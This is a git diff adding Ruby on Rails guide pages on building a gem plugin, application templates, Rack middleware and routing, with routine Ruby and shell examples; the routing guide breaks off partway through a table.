+test/dummy directory:
+
+```bash
+$ cd test/dummy
+$ bin/rails generate model Hickwall last_squawk:string
+$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
+```
+
+Now you can create the necessary database tables in your testing database by navigating to your dummy app
+and migrating the database. First, run:
+
+```bash
+$ cd test/dummy
+$ bin/rails db:migrate
+```
+
+While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
+like yaffles.
+
+```ruby
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ApplicationRecord
+  acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ApplicationRecord
+  acts_as_yaffle yaffle_text_field: :last_tweet
+end
+```
+
+We will also add code to define the `acts_as_yaffle` method.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        # your code will go here
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+```
+
+You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `bin/test`.
+
+```
+# Running:
+
+.E
+
+Error:
+ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8>
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+
+E
+
+Error:
+ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8>
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+
+.
+
+Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.
+
+4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+```
+
+Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+```
+
+When you run `bin/test`, you should see the tests all pass:
+
+```bash
+  4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
+```
+
+### Add an Instance Method
+
+This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
+method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweet
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+```
+
+Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
+then update 'acts_as_yaffle.rb' to look like this:
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
+
+        include Yaffle::ActsAsYaffle::LocalInstanceMethods
+      end
+    end
+
+    module LocalInstanceMethods
+      def squawk(string)
+        write_attribute(self.class.yaffle_text_field, string.to_squawk)
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+```
+
+Run `bin/test` one final time and you should see:
+
+```
+  6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
+```
+
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
+
+```ruby
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```
+
+Generators
+----------
+
+Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
+the creation of generators can be found in the [Generators Guide](generators.html)
+
+Publishing Your Gem
+-------------------
+
+Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
+commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
+
+```ruby
+gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+```
+
+After running `bundle install`, your gem functionality will be available to the application.
+
+When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
+
+RDoc Documentation
+------------------
+
+Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+* Your name
+* How to install
+* How to add the functionality to the app (several examples of common use cases)
+* Warnings, gotchas or tips that might help users and save them time
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+```bash
+$ bundle exec rake rdoc
+```
+
+### References
+
+* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
+* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
+* [Gemspec Reference](http://guides.rubygems.org/specification-reference/)
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
new file mode 100644
index 0000000000..e087834a2f
--- /dev/null
+++ b/guides/source/rails_application_templates.md
@@ -0,0 +1,282 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Rails Application Templates
+===========================
+
+Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
+
+After reading this guide, you will know:
+
+* How to use templates to generate/customize Rails applications.
+* How to write your own reusable application templates using the Rails template API.
+
+--------------------------------------------------------------------------------
+
+Usage
+-----
+
+To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the `-m` option. This can either be a path to a file or a URL.
+
+```bash
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+```
+
+You can use the `app:template` Rake task to apply templates to an existing Rails application. The location of the template needs to be passed in via the LOCATION environment variable. Again, this can either be path to a file or a URL.
+
+```bash
+$ bin/rails app:template LOCATION=~/template.rb
+$ bin/rails app:template LOCATION=http://example.com/template.rb
+```
+
+Template API
+------------
+
+The Rails templates API is easy to understand. Here's an example of a typical Rails template:
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rails_command("db:migrate")
+
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
+```
+
+The following sections outline the primary methods provided by the API:
+
+### gem(*args)
+
+Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`.
+
+For example, if your application depends on the gems `bj` and `nokogiri`:
+
+```ruby
+gem "bj"
+gem "nokogiri"
+```
+
+Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that.
+
+```bash
+bundle install
+```
+
+### gem_group(*names, &block)
+
+Wraps gem entries inside a group.
+
+For example, if you want to load `rspec-rails` only in the `development` and `test` groups:
+
+```ruby
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+```
+
+### add_source(source, options={}, &block)
+
+Adds the given source to the generated application's `Gemfile`.
+
+For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
+
+```ruby
+add_source "http://code.whytheluckystiff.net"
+```
+
+If block is given, gem entries in block are wrapped into the source group.
+
+```ruby
+add_source "http://gems.github.com/" do
+  gem "rspec-rails"
+end
+```
+
+### environment/application(data=nil, options={}, &block)
+
+Adds a line inside the `Application` class for `config/application.rb`.
+
+If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`.
+
+```ruby
+environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: 'production'
+```
+
+A block can be used in place of the `data` argument.
+
+### vendor/lib/file/initializer(filename, data = nil, &block)
+
+Adds an initializer to the generated application's `config/initializers` directory.
+
+Let's say you like using `Object#not_nil?` and `Object#not_blank?`:
+
+```ruby
+initializer 'bloatlol.rb', <<-CODE
+  class Object
+    def not_nil?
+      !nil?
+    end
+
+    def not_blank?
+      !blank?
+    end
+  end
+CODE
+```
+
+Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
+
+There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed:
+
+```ruby
+file 'app/components/foo.rb', <<-CODE
+  class Foo
+  end
+CODE
+```
+
+That'll create the `app/components` directory and put `foo.rb` in there.
+
+### rakefile(filename, data = nil, &block)
+
+Creates a new rake file under `lib/tasks` with the supplied tasks:
+
+```ruby
+rakefile("bootstrap.rake") do
+  <<-TASK
+    namespace :boot do
+      task :strap do
+        puts "i like boots!"
+      end
+    end
+  TASK
+end
+```
+
+The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.
+
+### generate(what, *args)
+
+Runs the supplied rails generator with given arguments.
+
+```ruby
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+```
+
+### run(command)
+
+Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file:
+
+```ruby
+run "rm README.rdoc"
+```
+
+### rails_command(command, options = {})
+
+Runs the supplied task in the Rails application. Let's say you want to migrate the database:
+
+```ruby
+rails_command "db:migrate"
+```
+
+You can also run tasks with a different Rails environment:
+
+```ruby
+rails_command "db:migrate", env: 'production'
+```
+
+You can also run tasks as a super-user:
+
+```ruby
+rails_command "log:clear", sudo: true
+```
+
+### route(routing_code)
+
+Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application:
+
+```ruby
+route "root to: 'person#index'"
+```
+
+### inside(dir)
+
+Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
+
+```ruby
+inside('vendor') do
+  run "ln -s ~/commit-rails/rails rails"
+end
+```
+
+### ask(question)
+
+`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding:
+
+```ruby
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+  class Shiny
+  end
+CODE
+```
+
+### yes?(question) or no?(question)
+
+These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to Freeze Rails only if the user wants to:
+
+```ruby
+rails_command("rails:freeze:gems") if yes?("Freeze rails gems?")
+# no?(question) acts just the opposite.
+```
+
+### git(:command)
+
+Rails templates let you run any git command:
+
+```ruby
+git :init
+git add: "."
+git commit: "-a -m 'Initial commit'"
+```
+
+### after_bundle(&block)
+
+Registers a callback to be executed after the gems are bundled and binstubs
+are generated. Useful for all generated files to version control:
+
+```ruby
+after_bundle do
+  git :init
+  git add: '.'
+  git commit: "-a -m 'Initial commit'"
+end
+```
+
+The callbacks gets executed even if `--skip-bundle` and/or `--skip-spring` has
+been passed.
+
+Advanced Usage
+--------------
+
+The application template is evaluated in the context of a
+`Rails::Generators::AppGenerator` instance. It uses the `apply` action
+provided by
+[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207).
+This means you can extend and change the instance to match your needs.
+
+For example by overwriting the `source_paths` method to contain the
+location of your template. Now methods like `copy_file` will accept
+relative paths to your template's location.
+
+```ruby
+def source_paths
+  [__dir__]
+end
+```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
new file mode 100644
index 0000000000..cef8450ee4
--- /dev/null
+++ b/guides/source/rails_on_rack.md
@@ -0,0 +1,310 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Rails on Rack
+=============
+
+This guide covers Rails integration with Rack and interfacing with other Rack components.
+
+After reading this guide, you will know:
+
+* How to use Rack Middlewares in your Rails applications.
+* Action Pack's internal Middleware stack.
+* How to define a custom Middleware stack.
+
+--------------------------------------------------------------------------------
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.
+
+Introduction to Rack
+--------------------
+
+Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+Explaining how Rack works is not really in the scope of this guide. In case you
+are not familiar with Rack's basics, you should check out the [Resources](#resources)
+section below.
+
+Rails on Rack
+-------------
+
+### Rails Application's Rack Object
+
+`Rails.application` is the primary Rack application object of a Rails
+application. Any Rack compliant web server should be using
+`Rails.application` object to serve a Rails application.
+
+### `rails server`
+
+`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver.
+
+Here's how `rails server` creates an instance of `Rack::Server`
+
+```ruby
+Rails::Server.new.tap do |server|
+  require APP_PATH
+  Dir.chdir(Rails.application.root)
+  server.start
+end
+```
+
+The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way:
+
+```ruby
+class Server < ::Rack::Server
+  def start
+    ...
+    super
+  end
+end
+```
+
+### `rackup`
+
+To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory:
+
+```ruby
+# Rails.root/config.ru
+require_relative 'config/environment'
+run Rails.application
+```
+
+And start the server:
+
+```bash
+$ rackup config.ru
+```
+
+To find out more about different `rackup` options, you can run:
+
+```bash
+$ rackup --help
+```
+
+### Development and auto-reloading
+
+Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application.
+
+Action Dispatcher Middleware Stack
+----------------------------------
+
+Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: `ActionDispatch::MiddlewareStack` is Rails' equivalent of `Rack::Builder`,
+but is built for better flexibility and more features to meet Rails' requirements.
+
+### Inspecting Middleware Stack
+
+Rails has a handy task for inspecting the middleware stack in use:
+
+```bash
+$ bin/rails middleware
+```
+
+For a freshly generated Rails application, this might produce something like:
+
+```ruby
+use Rack::Sendfile
+use ActionDispatch::Static
+use ActionDispatch::Executor
+use ActiveSupport::Cache::Strategy::LocalCache::Middleware
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use ActionDispatch::RemoteIp
+use Sprockets::Rails::QuietAssets
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use WebConsole::Middleware
+use ActionDispatch::DebugExceptions
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::Migration::CheckPending
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use Rack::Head
+use Rack::ConditionalGet
+use Rack::ETag
+run MyApp.application.routes
+```
+
+The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
+
+### Configuring Middleware Stack
+
+Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+
+#### Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* `config.middleware.use(new_middleware, args)` - Adds the new middleware at the bottom of the middleware stack.
+
+* `config.middleware.insert_before(existing_middleware, new_middleware, args)` - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* `config.middleware.insert_after(existing_middleware, new_middleware, args)` - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+```ruby
+# config/application.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActionDispatch::Executor.
+# Pass { page_cache: false } argument to Lifo::Cache.
+config.middleware.insert_after ActionDispatch::Executor, Lifo::Cache, page_cache: false
+```
+
+#### Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using `config.middleware.swap`.
+
+```ruby
+# config/application.rb
+
+# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+```
+
+#### Deleting a Middleware
+
+Add the following lines to your application configuration:
+
+```ruby
+# config/application.rb
+config.middleware.delete Rack::Runtime
+```
+
+And now if you inspect the middleware stack, you'll find that `Rack::Runtime` is
+not a part of it.
+
+```bash
+$ bin/rails middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+...
+run Rails.application.routes
+```
+
+If you want to remove session related middleware, do the following:
+
+```ruby
+# config/application.rb
+config.middleware.delete ActionDispatch::Cookies
+config.middleware.delete ActionDispatch::Session::CookieStore
+config.middleware.delete ActionDispatch::Flash
+```
+
+And to remove browser related middleware,
+
+```ruby
+# config/application.rb
+config.middleware.delete Rack::MethodOverride
+```
+
+### Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
+
+**`Rack::Sendfile`**
+
+* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option.
+
+**`ActionDispatch::Static`**
+
+* Used to serve static files from the public directory. Disabled if `config.public_file_server.enabled` is `false`.
+
+**`Rack::Lock`**
+
+* Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex.
+
+**`ActionDispatch::Executor`**
+
+* Used for thread safe code reloading during development.
+
+**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+
+* Used for memory caching. This cache is not thread safe.
+
+**`Rack::Runtime`**
+
+* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
+
+**`Rack::MethodOverride`**
+
+* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
+
+**`ActionDispatch::RequestId`**
+
+* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#request_id` method.
+
+**`ActionDispatch::RemoteIp`**
+
+* Checks for IP spoofing attacks.
+
+**`Sprockets::Rails::QuietAssets`**
+
+* Suppresses logger output for asset requests.
+
+**`Rails::Rack::Logger`**
+
+* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+
+**`ActionDispatch::ShowExceptions`**
+
+* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
+
+**`ActionDispatch::DebugExceptions`**
+
+* Responsible for logging exceptions and showing a debugging page in case the request is local.
+
+**`ActionDispatch::Reloader`**
+
+* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
+
+**`ActionDispatch::Callbacks`**
+
+* Provides callbacks to be executed before and after dispatching the request.
+
+**`ActiveRecord::Migration::CheckPending`**
+
+* Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending.
+
+**`ActionDispatch::Cookies`**
+
+* Sets cookies for the request.
+
+**`ActionDispatch::Session::CookieStore`**
+
+* Responsible for storing the session in cookies.
+
+**`ActionDispatch::Flash`**
+
+* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
+
+**`Rack::Head`**
+
+* Converts HEAD requests to `GET` requests and serves them as so.
+
+**`Rack::ConditionalGet`**
+
+* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
+
+**`Rack::ETag`**
+
+* Adds ETag header on all String bodies. ETags are used to validate cache.
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+Resources
+---------
+
+### Learning Rack
+
+* [Official Rack Website](http://rack.github.io)
+* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
+
+### Understanding Middlewares
+
+* [Railscast on Rack Middlewares](http://railscasts.com/episodes/151-rack-middleware)
diff --git a/guides/source/routing.md b/guides/source/routing.md
new file mode 100644
index 0000000000..f52b1862a8
--- /dev/null
+++ b/guides/source/routing.md
@@ -0,0 +1,1182 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Rails Routing from the Outside In
+=================================
+
+This guide covers the user-facing features of Rails routing.
+
+After reading this guide, you will know:
+
+* How to interpret the code in `config/routes.rb`.
+* How to construct your own routes, using either the preferred resourceful style or the `match` method.
+* How to declare route parameters, which are passed onto controller actions.
+* How to automatically create paths and URLs using route helpers.
+* Advanced techniques such as creating constraints and mounting Rack endpoints.
+
+--------------------------------------------------------------------------------
+
+The Purpose of the Rails Router
+-------------------------------
+
+The Rails router recognizes URLs and dispatches them to a controller's action, or to a Rack application. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
+
+### Connecting URLs to Code
+
+When your Rails application receives an incoming request for:
+
+```
+GET /patients/17
+```
+
+it asks the router to match it to a controller action. If the first matching route is:
+
+```ruby
+get '/patients/:id', to: 'patients#show'
+```
+
+the request is dispatched to the `patients` controller's `show` action with `{ id: '17' }` in `params`.
+
+### Generating Paths and URLs from Code
+
+You can also generate paths and URLs. If the route above is modified to be:
+
+```ruby
+get '/patients/:id', to: 'patients#show', as: 'patient'
+```
+
+and your application contains this code in the controller:
+
+```ruby
+@patient = Patient.find(17)
+```
+
+and this in the corresponding view:
+
+```erb
+<%= link_to 'Patient Record', patient_path(@patient) %>
+```
+
+then the router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+
+Resource Routing: the Rails Default
+-----------------------------------
+
+Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code.
+
+### Resources on the Web
+
+Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
+
+When your Rails application receives an incoming request for:
+
+```
+DELETE /photos/17
+```
+
+it asks the router to map it to a controller action. If the first matching route is:
+
+```ruby
+resources :photos
+```
+
+Rails would dispatch that request to the `destroy` action on the `photos` controller with `{ id: '17' }` in `params`.
+
+### CRUD, Verbs, and Actions
+
+In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to
+controller actions. By convention, each action also maps to a specific CRUD
+operation in a database. A single entry in the routing file, such as:
+
+```ruby
+resources :photos
+```
+
+creates seven different routes in your application, all mapping to the `Photos` controller:
+
+| HTTP Verb | Path             | Controller#Action | Used for                                     |
+| --------- | ---------------- | ----------------- | -------------------------------------------- |
+| GET       | /photos          | photos#index      | display a list of all photos                 |
+| GET       | /photos/new      | photos#new        | return an HTML form for creating a new photo |
+| POST      | /photos          | photos#create     | create a new photo                           |
+| GET       | /photos/:id      | photos#show       | display a specific photo                     |
+| GET       | /photos/:id/edit | photos#edit       | return an HTML form for editing a photo      |
+| PATCH/PUT | /photos/:id      | photos#update     | update a specific photo                      |
+| DELETE    | /photos/:id      | photos#destroy    | delete a specific photo                      |
+
+NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
+
+NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first.
+
+### Path and URL Helpers
+
+Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`:
+
+* `photos_path` returns `/photos`
+* `new_photo_path` returns `/photos/new`
+* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
+* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)
+
+Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.
+
+### Defining Multiple Resources at the Same Time
+
+If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`:
+
+```ruby
+resources :photos, :books, :videos
+```
+
+This works exactly the same as:
+
+```ruby
+resources :photos
+resources :books
+resources :videos
+```
+
+### Singular Resources
+
+Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action:
+
+```ruby
+get 'profile', to: 'users#show'
+```
+
+Passing a `String` to `to:` will expect a `controller#action` format. When using a `Symbol`, the `to:` option should be replaced with `action:`. When using a `String` without a `#`, the `to:` option should be replaced with `controller:`:
+
+```ruby
+get 'profile', action: :show, controller: 'users'
+```
+
+This resourceful route:
+
+```ruby
+resource :geocoder
+resolve('Geocoder') { [:geocoder] }
+```
+
+creates six different routes in your application, all mapping to the `Geocoders` controller:
+
+| HTTP Verb | Path           | Controller#Action | Used for                                      |
+| --------- | -------------- | ----------------- | --------------------------------------------- |
+| GET       | /geocoder/new  | geocoders#new     | return an HTML form for creating the geocoder |
+| POST      | /geocoder      | geocoders#create  | create the new geocoder                       |
+| GET       | /geocoder      | geocoders#show    | display the one and only geocoder resource    |
+| GET       | /geocoder/edit | geocoders#edit    | return an HTML form for editing the geocoder  |
+| PATCH/PUT | /geocoder      | geocoders#update  | update the one and only geocoder resource     |
+| DELETE    | /geocoder      | geocoders#destroy | delete the geocoder resource                  |
+
+NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
+
+A singular resourceful route generates these helpers:
+
+* `new_geocoder_path` returns `/geocoder/new`
+* `edit_geocoder_path` returns `/geocoder/edit`
+* `geocoder_path` returns `/geocoder`
+
+As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
+
+### Controller Namespaces and Routing
+
+You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:
+
+```ruby
+namespace :admin do
+  resources :articles, :comments
+end
+```
+
+This will create a number of routes for each of the `articles` and `comments` controller. For `Admin::ArticlesController`, Rails will create:
+
+| HTTP Verb | Path                     | Controller#Action      | Named Helper              |
+| --------- | ------------------------ | ---------------------- | ---------------------------- |
+| GET       | /admin/articles          | admin/articles#index   | admin_articles_path          |
+| GET       | /admin/articles/new      | admin/articles#new     | new_admin_article_path       |
+| POST      | /admin/articles          | admin/articles#create  | admin_articles_path          |
+| GET       | /admin/articles/:id      | admin/articles#show    | admin_article_path(:id)      |
+| GET       | /admin/articles/:id/edit | admin/articles#edit    | edit_admin_article_path(:id) |
+| PATCH/PUT | /admin/articles/:id      | admin/articles#update  | admin_article_path(:id)      |
+| DELETE    | /admin/articles/:id      | admin/articles#destroy | admin_article_path(:id)      |
+
+If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you could use:
+
+```ruby
+scope module: 'admin' do
+  resources :articles, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :articles, module: 'admin'
+```
+
+If you want to route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix), you could use:
+
+```ruby
+scope '/admin' do
+  resources :articles, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :articles, path: '/admin/articles'
+```
+
+In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `ArticlesController`:
+
+| HTTP Verb | Path                     | Controller#Action    | Named Helper           |
+| --------- | ------------------------ | -------------------- | ---------------------- |
+| GET       | /admin/articles          | articles#index       | articles_path          |
+| GET       | /admin/articles/new      | articles#new         | new_article_path       |
+| POST      | /admin/articles          | articles#create      | articles_path          |
+| GET       | /admin/articles/:id      | articles#show        | article_path(:id)      |
+| GET       | /admin/articles/:id/edit | articles#edit        | edit_article_path(:id) |
+| PATCH/PUT | /admin/articles/:id      | articles#update      | article_path(:id)      |
+| DELETE    | /admin/articles/:id      | articles#destroy     | article_path(:id)      |
+
+TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._
+
+### Nested Resources
+
+It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+```ruby
+class Magazine < ApplicationRecord
+  has_many :ads
+end
+
+class Ad < ApplicationRecord
+  belongs_to :magazine
+end
+```
+
+Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
+
+```ruby
+resources :magazines do
+  resources :ads
+end
+```
+
+In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
+
+| HTTP Verb | Path                                 | Controller#Action | Used for                                                                   |
+| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- |
+| GET       | /magazines/:magazine_id/ads          | ads#index         | display a list of all ads for a specific magazine                          |
